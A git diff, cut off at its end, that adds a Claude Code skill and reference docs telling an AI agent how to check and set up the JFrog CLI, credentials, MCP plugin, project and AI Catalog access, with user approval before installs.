b/skills/jfrog-ai-catalog/references/publishing-skills.md similarity index 100% rename from skills/jfrog-ai-catalog-skills/references/publishing-skills.md rename to skills/jfrog-ai-catalog/references/publishing-skills.md diff --git a/skills/jfrog-init/SKILL.md b/skills/jfrog-init/SKILL.md new file mode 100644 index 0000000..80760bd --- /dev/null +++ b/skills/jfrog-init/SKILL.md @@ -0,0 +1,603 @@ +--- +name: jfrog-init +description: Set up and verify the JFrog plugin. Run on first install, to complete initial configuration, or to diagnose a broken setup. +disable-model-invocation: true +compatibility: >- + Requires Node.js 18 or newer, and network access to the JFrog platform. +allowed-tools: Bash(node --version) Bash(node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-catalog-runtime.mjs"*) Bash(node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-jf-cli.mjs"*) Bash(node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-jf-config.mjs"*) Bash(node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-jfrog-mcp.mjs"*) Bash(node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-project.mjs"*) Bash(node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-server-ping.mjs"*) Bash(node "${CLAUDE_SKILL_DIR}/scripts/jfrog-re*.mjs"*) Bash(node "${CLAUDE_SKILL_DIR}/scripts/jfrog-state-file.mjs" get*) Bash(node "${CLAUDE_SKILL_DIR}/scripts/jfrog-state-file.mjs" path*) Bash(node -e "import('${CLAUDE_SKILL_DIR}/scripts/jfrog-resolve-mcp-config.mjs').then(function(m){console.log(m.detectHarness())})") Bash(npx --version) Bash(uname:*) AskUserQuestion +metadata: + role: workflow +--- + +# /jfrog-init — verify and guide JFrog plugin readiness + +**First output must be a tool call, not text.** No "I'll start..." preamble. + +Walks a fixed, ordered checklist and stops at the first red result, guiding +the user through the matching fix before re-checking. Every detector in +`scripts/` is idempotent, read-only, JSON-emitting, and implemented in +Node (`.mjs`), so the same detector runs unmodified on macOS, Linux, and +Windows. Step 3's web-login uses this skill's own local `.mjs` scripts, +same as every other step. The one interactive fix step that isn't a Node +script at all is Step 1's Node install itself — a missing Node can't run +a `.mjs` installer, so that one step branches on OS or shell directly. + +Approval model — every user-approval point is detailed in its own Step +below (exact wording, `AskUserQuestion` payloads, forbidden phrases); +this is just the map: +- **`node`** — `AskUserQuestion` Yes/No before auto-installing (Step 1). +- **`jf` (JFrog CLI)** — `AskUserQuestion` Yes/No before auto-installing + (Step 2). +- **`jf config`** — `AskUserQuestion` picker (web login, in-session, vs. + access token, which never enters this conversation) (Step 3/4). +- **Project selection** — the user answers with a project name or key; + an `AskUserQuestion` picker offers the first two enumerated projects + plus "Other" (Step 6). +- Everything else in the walk is read-only, except Step 5's placeholder + substitution (writes the plugin's `mcp.json`, unattended by design — + no `AskUserQuestion`, see `references/script-invocation.md`), Step 8's + `~/.netrc` write (also unattended, no `AskUserQuestion` — see + `references/marketplace-setup.md`), and the Final summary's state + write below. + +Step 1's `nvm` install and `jfrog-install-jf-cli.mjs`, Step 3's +web-login scripts, Step 8's `jfrog-add-claude-marketplace.mjs` call, +and the Final summary's `jfrog-state-file.mjs set` call are +deliberately **not** in `allowed-tools` and will raise the harness's +own approval prompt — intended, not a misconfiguration; see +`references/script-invocation.md`. + +`${CLAUDE_SKILL_DIR}` below is this file's own directory. Claude Code +substitutes it automatically, identically, in both this text and the +`allowed-tools` Bash rules above — write it literally rather than +resolving it yourself, so the two stay byte-for-byte consistent +regardless of install depth (see `references/script-invocation.md`). On +a harness that doesn't perform this substitution (e.g. Cursor or Codex, +neither of which consults `allowed-tools` for approval — every command +below still raises its own prompt there), replace it with the real +absolute path of this file's directory yourself, same as before. + +## At a glance (always-read core) + +- **Order matters.** Walk [Steps 1](#step-1-nodejs--18-installed)–[8](#step-8-claude-agent-plugin-marketplace-registered) + in exact order, stop at the first non-green result — except Step 5 + red/error, Step 6's one-retry cap, Step 7's "not entitled" and + "catalog unreachable" outcomes, and Step 8 entirely (all four + non-blocking). See + [The checklist, in order](#the-checklist-in-order). +- **`rc=$?` is mandatory** on every detector invocation — see + [Invoking scripts](#invoking-scripts-avoid-the-red-error-framing). A + bare `; true` hides every red/ask result as green. +- **Approval gates:** `AskUserQuestion` Yes/No before auto-installing + Node (Step 1) or `jf` (Step 2); `AskUserQuestion` picker for + web-login vs. token (Step 3/4); `AskUserQuestion` picker for project + selection (Step 6). Everything else is read-only except Step 5's + placeholder substitution, Step 8's `~/.netrc` write, and the Final + summary's state write. +- **Never surface the checklist.** Run silently — no step narration, no + raw JSON/exit codes, no branch-reasoning said out loud. See + [Customer-facing output](#customer-facing-output). +- **`` for Steps 4-7** always comes from the shared resolver + (explicit arg → `JF_SERVER_ID` → `isDefault` → sole configured server + → ask) — never invented, never `jf`'s own fallback. Step 8 reuses the + same value. See + [Resolving ``](#resolving-server-id-for-steps-4-7). +- **Persist state before the final summary** — run + `jfrog-state-file.mjs set` whenever Steps 1-4 are green, regardless of + Step 5/6/7. See [Final summary](#final-summary). +- **Never store, log, or print an access token** — credentials stay + inside `jf`'s own process or in-memory for one `fetch` call. **Step 8 + is the one deliberate exception** (writes `~/.netrc`) — see + [Step 8](#step-8-claude-agent-plugin-marketplace-registered) and + [Non-goals](#non-goals-out-of-scope-for-this-skill). +- **This skill is the exception to, not a consumer of, the base + [`../jfrog/SKILL.md`](../jfrog/SKILL.md)'s prerequisites** — do not + run its environment check as a gate before starting this walk. + +Steps: [1](#step-1-nodejs--18-installed) → [2](#step-2-jfrog-cli-installed) → +[3](#step-3-jf-connected-to-a-server) → [4](#step-4-server-reachable--credentials-valid) → +[5](#step-5-jfrog-mcp-plugin-file-has-a-jfrog-entry) → [6](#step-6-project-resolved) → +[7](#step-7-ai-catalog-reachable--user-entitled) → +[8](#step-8-claude-agent-plugin-marketplace-registered) + +## Prerequisites + +- **Read the base [`../jfrog/SKILL.md`](../jfrog/SKILL.md) for foundational + context** — JFrog Platform concepts and terminology, and the + [Server selection rules](../jfrog/SKILL.md#server-selection-rules-mandatory) + this skill's own "Resolving ``" section (below) follows the + same never-guess/never-infer philosophy of, via its own mechanism. +- **This skill is the exception that makes the base skill's prerequisites + true, not a consumer of them.** The base skill's + [environment check](../jfrog/SKILL.md#environment-check) assumes `jf` is + already installed at a working version — `/jfrog-init` is what gets a + user from nothing installed to that point. Do not run the base skill's + environment check as a gate before starting this walk; Steps 1-4 below + are this skill's own, more granular equivalent (Node, `jf` CLI install, + connection, credentials) purpose-built for the "nothing works yet" case. +- **Deliberately does not export `JFROG_CLI_USER_AGENT`**, unlike the + base skill's invariant — see `runJf()` in `scripts/lib/jf.mjs` for why + (telemetry-only impact). + +## Customer-facing output + +**The user does not need to see the checklist you are walking, but does +need to see what actually happened.** Run the detectors silently, +capture their output for your own reasoning, and surface only what the +user needs to know or act on: + +- **Do not** narrate step numbers ("Step 1…", "moving to Step 3…") + while the walk is in progress. +- **Do not** paste detector JSON, exit codes, or shell command output + into the reply. +- **Do not** narrate the branch-selection reasoning behind an + `AskUserQuestion` or plain-text prompt — e.g. explaining that + `unresolved` wasn't `"server"`, or that `candidatesWithNames` had two + or more entries, so this is "the generic ask using the first two + candidates." That reasoning (in `server-picker.md`, `project-picker.md`, + and the other reference docs' branch tables) is written for you to + follow silently, not to summarize out loud — the field names in it are + never user-facing. The only output the user sees at an ask point is + the prompt itself. +- **Do not** announce that you're about to run the checklist, or name + which check comes first — not even generically ("I'll run the setup + checklist silently, starting with the JFrog CLI check" is itself a + violation: it names a step while claiming to be silent). The same + applies to reading reference docs: "I'll start by reading the flow + docs" is a preamble. Silently means no preamble message at all — not + before running commands, not before reading files. Say nothing until + you have something the user needs to act on (an ask, a red result) + or the final summary. + +Instead: + +- **When everything passes**, give a short recap in the final summary + (see "Final summary" below): a short, emoji-based checklist — JF CLI + & Config, JFrog MCP Plugin, Project & AI Catalog — so the user sees + the end state of every check at a glance, not raw step numbers and + not the Node.js check (an implementation detail, not user-facing). +- **When something is red**, say *what's wrong in plain English* and + *what the user needs to do next*, in one or two sentences. Show the + exact command they need to run (they must see what they're + approving). +- **On failure, the raw detector error line is fair game** to include + verbatim as a debugging aid — one line, without the JSON wrapper. + +The rest of this file documents the flow **for you (the model)**, not +for the user. + +## Invoking scripts: avoid the red "Error" framing + +Every detector command shown below signals red/ask states via a +non-zero exit code, by design — append `; rc=$?; true` when invoking +any of them. **`rc=$?` is not optional**: every Step's branch table +below keys off the exit code, and a bare `; true` throws it away, so +every red and ask silently reads as green. **Read +`references/script-invocation.md` in full** before running any command +in this walk — the exact pattern and why it's required, not optional +background. + +## Flow + +**Follow this flow literally.** Every decision node is covered by a +detector or fix script below; every user-facing prompt uses the exact +wording documented in the corresponding step. Do not reorder, do not +skip, do not narrate the diagram to the user. Read +`references/flow-diagram.md` for the full flowchart before starting a +walk — the same logic as the Steps below, drawn as a map. + +## The checklist, in order + +1. **Node.js ≥ 18 installed?** — no script; run `node --version` / `npx --version` directly +2. **JFrog CLI (`jf`) installed?** — `scripts/jfrog-detect-jf-cli.mjs` +3. **`jf` connected to a server?** — `scripts/jfrog-detect-jf-config.mjs` +4. **Server reachable + credentials valid?** — `scripts/jfrog-detect-server-ping.mjs [server-id]` +5. **JFrog MCP plugin file has a jfrog entry?** — `scripts/jfrog-detect-jfrog-mcp.mjs [server-id]` +6. **Project resolved?** — `scripts/jfrog-detect-project.mjs [server-id] [project-input]` +7. **AI Catalog reachable & user entitled?** — `scripts/jfrog-detect-catalog-runtime.mjs [server-id]` +8. **Claude agent-plugin marketplace registered?** — `scripts/jfrog-add-claude-marketplace.mjs [server-id] [project-key]`, Claude Code only + +Run detectors in this exact order and stop at the first non-green +result — except Step 5 going red/error (see Step 5), Step 6 hitting +its one-retry cap (see Step 6), Step 7's "not entitled" and "catalog +unreachable" outcomes (see Step 7), and Step 8 entirely (see Step 8), +all four non-blocking. Step +1 has no script — a Node script can't verify Node exists — so every +step after it is written in Node and can assume Node is present. The +JPD URL is read directly from +`jf config`; there is no separate +`JFROG_PLATFORM_URL` env var. The project key is asked every walk in +Step 6 (the state file at `~/.jfrog/setup.json` may supply a +"reuse the current project?" hint); Step 7's catalog probe takes no +project argument — it only checks catalog reachability and entitlement +for the resolved server. + +### Resolving `` for Steps 4-7 + +Order (used by every detector that takes `[server-id]` — resolved +through the single shared `scripts/jfrog-resolve-jf-server.mjs`): + +1. Explicit argument passed to the detector. +2. `JF_SERVER_ID` env var. +3. **The server flagged `"isDefault": true`** in `~/.jfrog/jfrog-cli.conf.v6` + — resolved automatically via `scripts/jfrog-resolve-jf-server.mjs`. +4. If only one server is configured, it is used silently. +5. Otherwise the detector exits **2 ("ask")** with a JSON `candidates` + list of the configured server IDs. **Stop and read + `references/server-picker.md` in full** — it has the exact + `AskUserQuestion` payload for showing the user the actual servers to + pick from; do not paraphrase or invent your own prompt. Never invent + a server, never rely on `jf`'s own fallback. + +## Step 1: Node.js ≥ 18 installed? + +```bash +node --version; true +npx --version; true +``` + +No script — Node's own binary is the only thing that can answer +"is Node installed", so there's nothing a script would check that +these two commands don't already answer directly. Checked first +because every other script in this walk — including every other +detector — is a Node program. `npx` matters because the JFrog MCP +server (`mcpServers.jfrog`, Step 5) is launched via `npx +@jfrog/agent-guard` — no `npx` means the MCP entry can't start, +regardless of everything else. + +Read the output yourself, no JSON to parse: + +- Either command errors (e.g. `command not found: node`) → **red**: + Node.js (or `npx`) is not installed / the install is broken. +- `node --version` prints a version like `v16.2.0` → parse the major + number yourself. `< 18` → **red**: "Node.js `` is too old — + jfrog-init requires Node ≥ 18." +- `node --version` ≥ 18 **and** `npx --version` succeeds → **green** → + proceed to Step 2. + +**Never paste the raw shell output.** Translate to plain English — +"npx is not installed" not `` `command not found` ``, "Node.js v16 is +too old" not the version string verbatim. The raw output is for your +reasoning, not for the user. + +On red, **stop and read `references/node-install-prompt.md` in full +before responding to the user.** It has the exact `AskUserQuestion` +payload, the forbidden phrases, and the install commands — required +behavior, not optional background. Even on the install path there's no +detector *script*: a missing Node can't run a `.mjs` installer, so the +install is a bash/PowerShell command the model runs directly. + +## Step 2: JFrog CLI installed? + +```bash +node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-jf-cli.mjs"; rc=$?; true +``` + +- **Exit 0 (green)** → proceed to Step 3. +- **Exit 1 (red), `reason: "missing"`** → `jf` not found on PATH → **stop + and read `references/jf-cli-install-prompt.md` in full** — required + behavior, not optional background. +- **Exit 1 (red), `reason: "broken"`** → `jf` is on PATH but hung or + failed to run → **stop and read `references/jf-cli-install-prompt.md` + in full** — it has a separate payload for this case; required + behavior, not optional background. +- **Exit 1 (red), `reason: "outdated"`** → `jf` installed but below the + required minimum version → **stop and read + `references/jf-cli-update-prompt.md` in full** — required behavior, + not optional background. + +**Read `references/jf-cli-install-internals.md` for the full plan +A/B/C breakdown** — why this walk uses `npm install -g jfrog-cli-v2-jf` +instead of the base skill's OS-specific install docs, and how the +fallback to a checksum-verified direct binary download works. + +## Step 3: `jf` connected to a server? + +```bash +node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-jf-config.mjs"; rc=$?; true +``` + +Checked here (right after installing `jf`) so the JFrog CLI is +finished — install + auth — before the walk moves on to any other +prereqs. Keeps the "get `jf` working" story in one contiguous block +from the user's point of view. + +**This step does not pick or validate any specific server** — it only +checks that `jf config show` returns at least one configured server, +regardless of how many there are or whether one is marked `isDefault`. +If multiple servers are configured with none marked default, that +ambiguity is surfaced starting at Step 4, not here — see "Resolving +`` for Steps 4-7" above. + +- **Exit 0 (green)** → proceed to Step 4. +- **Exit 1 (red)** → `jf` is installed but not connected to any + server. **Stop and read `references/jf-config-auth-picker.md` in + full before responding to the user** — the Step 3 section has the + exact web-login-vs-token `AskUserQuestion`, this skill's own local + web-login script copies (no cross-skill call into the base `jfrog` + skill), and the token command template — required behavior, not + optional background. + +## Step 4: Server reachable + credentials valid? + +```bash +node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-server-ping.mjs" "[server-id]"; rc=$?; true +``` + +**Stop and read `references/jf-config-auth-picker.md`'s "Step 4's full +branch table" section in full** — the two sub-checks and the required +exit-code branches (credentials-only fix on Exit 1, Exit 2 still +blocks) — required behavior, not optional background. + +## Step 5: JFrog MCP plugin file has a jfrog entry? + +```bash +node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-jfrog-mcp.mjs" "[server-id]"; rc=$?; true +``` + +Pass the same `` already resolved for Step 4 (empty string +if Step 4 resolved silently via default/single-server) — this reuses +it for the placeholder fix instead of re-resolving from scratch. + +**Read-only against the JFrog plugin's own `mcp.json` — with one +exception: automatic placeholder substitution** of an unresolved +`${JFROG_PLATFORM_URL}` / `${JFROG_URL}` with the real JPD URL from +`jf config`. + +**Stop and read `references/mcp-plugin-config.md` in full** — exactly +how the substitution works, the per-harness plugin-config paths, and +the required exit-code branches (Exit 1/3 non-blocking, Exit 2 the one +outcome that still blocks) — required behavior, not optional +background. + +## Step 6: Project resolved? + +```bash +node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-project.mjs" "[server-id]" "[project-input]"; rc=$?; true +``` + +**State reuse across walks.** Before asking the user for a project, +**stop and read `references/project-state-reuse.md` in full** — it has +the exact "reuse ``?" `AskUserQuestion` and the jpdUrl-drift check +this step requires, not optional background. + +**Where the project list comes from.** `jfrog-detect-project.mjs` fetches +`GET /access/api/v1/projects` (the +[GetProjectsList](https://docs.jfrog.com/projects/reference/getprojectslist) +endpoint, authenticated with credentials from `jf config export`) once +per walk and caches it in memory for a short TTL (`lib/project-cache.mjs`) +— the interactive picker re-invokes this script once per user attempt, +and re-enumerating on every typed guess would be wasted network traffic. +This is the list every "enumerated project list" / `candidatesWithNames` +reference below draws from. + +**Name-or-key input.** The user answers with **either** the project's +canonical key OR its display name — whichever is easier for them. +`jfrog-detect-project.mjs` resolves it against the enumerated project +list (exact key, exact name, then progressively fuzzier tiers — see +`references/project-matching.md` for the exact algorithm), confirms +existence, and emits the canonical key on green in the JSON +`resolvedKey` field. An ambiguous input exits red with `candidates` +listing the tied keys. + +**Picking a project, interactively.** Whenever the detector needs the +user to choose — no input was passed, the typed input didn't match +anything (404), or it matched more than one project (ambiguous) — +**stop and read `references/project-picker.md` in full before +responding to the user.** It has the exact `AskUserQuestion` payload +shapes for each case (a 404 with close suggestions, an ambiguous or +missing input, and the no-`AskUserQuestion` plain-text fallback) and +the forbidden-phrasing rules for each — this is required behavior for +the step, not optional background. + +**Stop and read `references/project-resolution-branches.md` in full** +for exactly how to branch on the detector's exit code (green / ask / +red with the one-retry cap / error) — required behavior, not optional +background. + +## Step 7: AI Catalog reachable & user entitled? + +```bash +node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-catalog-runtime.mjs" "[server-id]"; rc=$?; true +``` + +**Stop and read `references/catalog-runtime-branches.md` in full** — +the two sub-checks (anonymous reachability, authenticated entitlement) +and the required exit-code branches (Exit 1 "not hosted/unreachable" +and Exit 4 "not entitled" are both non-blocking; Exit 2 still blocks) — +required behavior, not optional background. + +## Step 8: Claude agent-plugin marketplace registered? + +Two preconditions, in this order. **Step 7 must have been green** — the +marketplace is served by the same AI Catalog that Step 7 probes, so +after a non-blocking red there (unreachable, or not entitled) there is +nothing to register. Then, **Claude Code only** — check the current +harness by reusing `detectHarness()` from +`scripts/jfrog-resolve-mcp-config.mjs` (the same export Step 5 already +uses), e.g. +`node -e "import('${CLAUDE_SKILL_DIR}/scripts/jfrog-resolve-mcp-config.mjs').then(function(m){console.log(m.detectHarness())})"`. + +If either precondition fails, **skip this step silently** — never run +the script below, no `AskUserQuestion`, no note anywhere, not even in +the Final Summary. Treat it exactly as if Step 8 didn't exist for this +walk. + +Otherwise run: + +```bash +node "${CLAUDE_SKILL_DIR}/scripts/jfrog-add-claude-marketplace.mjs" "[server-id]" "[project-key]"; rc=$?; true +``` + +Pass the same `` already resolved for Step 4 (empty string +if Step 4 resolved silently via default/single-server), then Step 6's +canonical project key, or an empty string if Step 6 resolved none. + +**Stop and read `references/marketplace-setup.md` in full before +acting on the exit code** — required behavior, not optional +background. + +- **Exit 0 (green)** → success. The last stdout line is + `Successfully added marketplace: ` — extract + `` for the Final Summary's trailing line. +- **Exit 1 or 3 (red)** → non-blocking failure. Nothing beyond the Final + Summary's ⚠️ line, and never volunteer which cause it was. + +## Final summary + +**Persist the walk's state before rendering any outcome below.** +Whenever Steps 1-4 are green (regardless of what Step 5/6/7 reported), +run: + +```bash +node "${CLAUDE_SKILL_DIR}/scripts/jfrog-state-file.mjs" set "" "" ""; rc=$?; true +``` + +using the server-id resolved earlier in this walk, Step 4's own +`jpdUrl` field (present on its green JSON result), and Step 6's project +key — its `resolvedKey` on green, or `""` if Step 6 never resolved one +(ambiguous input, 404, 403, or the one-retry cap was hit). This is the +only thing that writes `~/.jfrog/setup.json` when the walk is followed +step-by-step; it's the same file Step 6's "reuse ``?" prompt +(`project-state-reuse.md`) reads on a future walk, so skipping this call +means that prompt has nothing to offer next time. Skip it only if Steps +1-4 themselves didn't all pass — there's nothing resolved yet to +persist. (Running the whole walk via `jfrog-detect-all.mjs` instead — +see "Running everything at once" below — does this same write itself; +don't call both.) + +**Give the user a short recap, not the raw checklist.** See +"Customer-facing output" above — no step numbers, no raw JSON. Render a +short, emoji-based checklist, not a prose paragraph or a five-line +plain-text list. Three grouped lines cover all five checks: + +- **JF CLI & Config** — Steps 2-4 (`jf` installed and connected to a + server). Always fully resolved here — this checklist only renders + once Steps 1-4 all passed (see "Anything else red" below for the + alternative). +- **JFrog MCP Plugin** — Step 5. +- **Project & AI Catalog** — Steps 6 and 7 together. + +Skip Node.js (Step 1) — implementation detail, not user-facing. + +**Rules for the checklist:** +1. Do **not** use the word "done" anywhere in it. +2. Keep those checks in exactly these three grouped lines — never + expand back out to five. +3. All three groups fully resolved → use this exact format, verbatim: + + > ✨ **JFrog initialization complete!** + > ✅ JF CLI & Config + > ✅ JFrog MCP Plugin + > ✅ Project & AI Catalog + +4. A group with something outstanding gets ⚠️ instead of ✅, plus a + short fact after an em dash: + + > ✨ **JFrog initialization complete!** + > ✅ JF CLI & Config + > ⚠️ JFrog MCP Plugin — not configured + > ✅ Project & AI Catalog + + For the merged **Project & AI Catalog** line, if only one of the two + is outstanding name just that one; if both are, separate them with a + semicolon: `⚠️ Project & AI Catalog — project not set up yet; catalog + access not entitled`. + +5. **Step 8 gets a fourth checklist line, but only when it ran** — + nothing appears when it was skipped: + - **Success** — `✅ JFrog Marketplace`, plus this trailing sentence + after the checklist block, in this exact wording: + + > Added the JFrog marketplace `` to Claude Code. + > Browse available plugins with `/plugins`, or install directly with + > `claude plugin install @` + + - **Red** — `⚠️ JFrog Marketplace — not registered`, and no trailing + sentence. + +Never phrase a ⚠️ line as a failure or as something the user needs to +fix before continuing — all of them are non-blocking by design. The +short fact after the em dash is the same underlying cause this skill +has always surfaced, just worded without "pending": + +- **Step 5 red/error (MCP plugin not configured):** `not configured`. + If the user asks why or how to fix it, that's when the specific cause + from Step 5's `detail` comes in — either run + `jfrog-reinstall-jfrog-plugin.mjs` (see Step 5) for the per-harness + reinstall remedy, or point at resolving `jf config`, matching + whichever cause Step 5 actually reported. +- **Step 6 hit its retry cap (no project resolved):** `project not set + up yet`. If the user asks, mention they can pick one whenever they're + ready. The server/JPD are still recorded to the state file either way + (see the persistence step at the top of this section); a project + picked in an earlier walk, if any, is left as-is rather than cleared. +- **Step 7 returned exit 4 (not entitled):** `catalog access not + entitled`. If the user asks for the fix: ask your JFrog admin for the + "AI Catalog Read" role to browse or install MCPs from the catalog. +- **Step 7 returned exit 1 (catalog not hosted / unreachable):** + `catalog not reachable on this JPD`. No fix instruction; there may be + nothing to fix (this JPD may simply not host the AI Catalog). +- **Something happened this walk** (Node.js/`jf` CLI installed, `jf + config` connected, a project resolved in Step 6, an MCP placeholder + substituted in Step 5, etc.): still the same checklist — the action + itself isn't called out per-line, ✅ is ✅ regardless of whether it + needed fixing this walk. +- **Anything else red** (Steps 1-4 not all green): one or two sentences + naming what's blocking and what to do next, no checklist — there's + nothing to check off yet. Include the raw detector error line if it + helps debug, without the JSON wrapper. + +## Running everything at once + +**Read `references/batch-walk.md` in full** for `jfrog-detect-all.mjs`'s +exact semantics — the non-blocking exceptions, the JSON summary +fields, and the state-file write behavior. + +## Non-goals (out of scope for this skill) + +- Installing the JFrog IDE plugin, or replacing its auto-config. +- Installing the VS Code hook. +- A first-MCP wizard for an empty catalog. +- Persisting the picked **project key** to `JF_PROJECT` or any shell + profile. Step 6 asks every walk and threads the pick forward as a + positional argument only — nothing about project selection ever + touches a shell profile. (Two other, unrelated things in this walk + *do*: Step 1's `nvm`-based Node install, and Step 2's Plan C fallback + when npm itself isn't usable — both append one PATH line to the + user's shell rc file, disclosed up front in the install consent + prompts, see `node-install-prompt.md` / `jf-cli-install-prompt.md`. + Plans A/B of Step 2 — the common case — don't touch a shell profile + at all, relying on npm's own global bin directory instead.) +- Granting AI Catalog roles/permissions — Step 7 only instructs. +- Storing access tokens to disk, logging them, or printing them. + Step 4's authenticated check keeps the credential inside `jf`'s own + process (`jf rt ping`); Steps 6 and 7 extract it from `jf config + export` only in memory, for one `fetch` call. Step 3/4's token-based + `jf config` path (see `references/jf-config-auth-picker.md`) never + touches this skill or the model at all — the user runs that command + themselves. **Step 8 is the one deliberate exception** — it writes + the token to `~/.netrc`; see `references/marketplace-setup.md`. + +## Before you run `/jfrog-init` — checklist + +[At a glance](#at-a-glance-always-read-core) invariants: + +- [ ] Walk Steps 1-8 in exact order; stop at the first non-green result + (Step 5 red/error, Step 6's retry cap, Step 7 "not entitled" or + "unreachable", and Step 8 entirely are non-blocking) +- [ ] Every detector invocation appends `; rc=$?; true` — never a bare + `; true` +- [ ] `AskUserQuestion` before auto-installing Node (Step 1) or `jf` + (Step 2); picker for web-login vs. token (Step 3/4); picker for + project selection (Step 6) +- [ ] Silent walk — no step narration, no raw JSON/exit codes, no + branch-reasoning surfaced to the user +- [ ] `` for Steps 4-8 comes only from the shared resolver — + never invented, never `jf`'s own fallback +- [ ] Steps 1-4 green → `jfrog-state-file.mjs set + ` before rendering the final summary +- [ ] Never store, log, or print an access token — except Step 8's + `~/.netrc` write +- [ ] Read the base `../jfrog/SKILL.md` for context; do not run its + environment check as a gate before this walk diff --git a/skills/jfrog-init/references/batch-walk.md b/skills/jfrog-init/references/batch-walk.md new file mode 100644 index 0000000..c590e4a --- /dev/null +++ b/skills/jfrog-init/references/batch-walk.md @@ -0,0 +1,38 @@ +# Running everything at once — jfrog-detect-all.mjs + +`node scripts/jfrog-detect-all.mjs [server-id] [project-key]` runs Steps 1–7 +in order and stops at the first non-green result — except Step 5 going +red/error, Step 6 going red (ambiguous/404/403), and Step 7 going red +in either of its two non-blocking shapes (exit 1: catalog not hosted / +unreachable / 5xx, or exit 4: reachable but not entitled), all of which +are non-blocking: Steps 1-4 passing is what "green" means here, +and the MCP-plugin, project-resolution, and catalog-availability gaps +are each reported as separate signals. This script makes exactly one +project-resolution attempt per invocation and has no way to tell a +first attempt from a last one, so it always treats a Step 6 red as +non-blocking — the interactive walk (see Step 6 in `SKILL.md`) is what +enforces the one-retry cap before giving up. Steps 5's, 6's, and 7's own +`ask`/`error` outcomes (ambiguous server-id, no project input passed, +`jf` missing/credentials rejected) still block, same as every other +step's genuine stop. If no project key is passed, Step 6 emits `ask` +with candidates and the walk halts; the caller re-invokes with the +picked project as arg 2 — unless that `ask` carries `"unresolved": +"server"`, in which case it's a server pick (see Step 6's branches) and +the re-invocation picks server-id (arg 1) instead. + +Exit 0 = Steps 1-4 green (MCP configured or not, project resolved +or not, catalog entitled or not); exit 1 = something needs fixing. The +final JSON line adds `mcpConfigured: true|false`, `projectResolved: +true|false`, and `catalogEntitled: true|false` so a caller can tell the +exit-0 cases apart — plus `catalogReason: "unreachable" | "not_entitled"` +whenever `catalogEntitled` is `false`, so the Final Summary can name the +specific gap instead of a generic one. Writes the `~/.jfrog/setup.json` +state-file hint whenever Steps 1-4 are green, **regardless of +`projectResolved`, `mcpConfigured`, or `catalogEntitled`** — the server +and JPD URL are worth remembering on their own, independent of whether +a project got picked, the MCP plugin is wired up, or the AI Catalog is +reachable/the user is entitled to it. An unresolved project is passed +to `jfrog-state-file.mjs` as an empty key, which leaves any previously +recorded `currentActiveProject` alone rather than erasing it (see +`jfrog-state-file.mjs`); it's never written as a fresh, unvalidated +value. diff --git a/skills/jfrog-init/references/catalog-runtime-branches.md b/skills/jfrog-init/references/catalog-runtime-branches.md new file mode 100644 index 0000000..cae6cd5 --- /dev/null +++ b/skills/jfrog-init/references/catalog-runtime-branches.md @@ -0,0 +1,68 @@ +# Step 7 — AI Catalog reachable & entitled: mechanics and branches + +Two sub-checks against +`/ml/core/api/v1/mcp-registry/ml-projects?pageSize=1` (where +`` is the URL stored in `jf config` for the resolved server — +this skill never uses a separate `JFROG_PLATFORM_URL` env var), both +must pass. This step is **purely about AI Catalog access** — no +runtime checks (Node lives in Step 1; `uv` / `docker` are per-MCP +concerns, not this skill's). + +1. **Anonymous** GET — proves the endpoint is deployed at this JPD. + `2xx/401/403/405/406` = up; `404` / connection failure = red. +2. **Authenticated** GET to the same path, with the bearer token (or + user+password) extracted from `jf config export` — same credential + source `jf` itself uses (token / user+password / SSO refresh, + whatever's stored), so the skill never asks for or invents + credentials, and the token only lives in memory for this one + request. `2xx` = user is **entitled** to read the AI Catalog on + this JPD; `403` = reachable but **not entitled**, non-blocking. + `401` means the credentials themselves were rejected — that says + nothing about entitlement, so it is treated as a blocking error + instead (see Exit 3 below). + +Splitting reachability from entitlement produces two distinct +outcomes: check 1 red = "this JPD doesn't host AI Catalog, or it's +unreachable right now"; check 2's `403` = "catalog is up but your +user isn't entitled." Neither is a setup failure — both are +non-blocking permissions/availability gaps the rest of the walk doesn't +depend on (see the exit-code branches below). Check 2's `401` is +different — it means `jf`'s own credentials are invalid or expired, +which is a genuine setup problem (Exit 3). + +**Required branches:** + +- **Exit 0 (green)** → done. All checks pass, including entitlement. +- **Exit 1 (red)** → anon probe 404 / connection failure / 5xx — the + platform may not host AI Catalog, or it's unreachable right now. + **Non-blocking** — same reasoning as Exit 4 below: Steps 1-4 are + this skill's core prerequisites, and none of them depend on the AI + Catalog being present. Proceed to the Final Summary, but append a + note naming the gap (`catalogReason: "unreachable"` in + `jfrog-detect-all.mjs`'s summary — see `batch-walk.md`). +- **Exit 2 (ask)** → multiple servers configured, none marked + `isDefault`, no server-id passed. Same handling as Step 4's exit 2: + **stop and read `references/server-picker.md` in full**, then + re-invoke Step 7 with the pick as either the positional argument or + `JF_SERVER_ID`. +- **Exit 3 (error)** → `jf` missing, the authed probe returned `401` + (credentials themselves rejected — re-run `jf config add + --interactive`), or an unexpected HTTP code (e.g. a broken `jf` + config surfacing here instead of at Step 4). This is the one genuine + stop this step has — a real error, not a "catalog isn't available" + gap. +- **Exit 4 (not entitled)** → catalog is reachable but the authed probe + returned `403`. **Non-blocking** — proceed to the Final Summary, but + append the entitlement note (`catalogReason: + "not_entitled"`). The detector's `detail` names the specific endpoint + path (`/ml/core/api/v1/mcp-registry`) and the role the admin needs to + grant (typically "AI Catalog Read" or "Application Admin"), so the + user can forward an actionable request rather than a shrug. + +Exit 1 and Exit 4 are deliberately handled the same way at the walk +level (see `batch-walk.md`) — both leave `catalogEntitled: false`, and +only differ in `catalogReason`, so the Final Summary can say "no AI +Catalog here" vs. "you're not entitled" accurately instead of collapsing +both into one generic gap. + +**Never** grant a role or invent a project. diff --git a/skills/jfrog-init/references/flow-diagram.md b/skills/jfrog-init/references/flow-diagram.md new file mode 100644 index 0000000..6f77852 --- /dev/null +++ 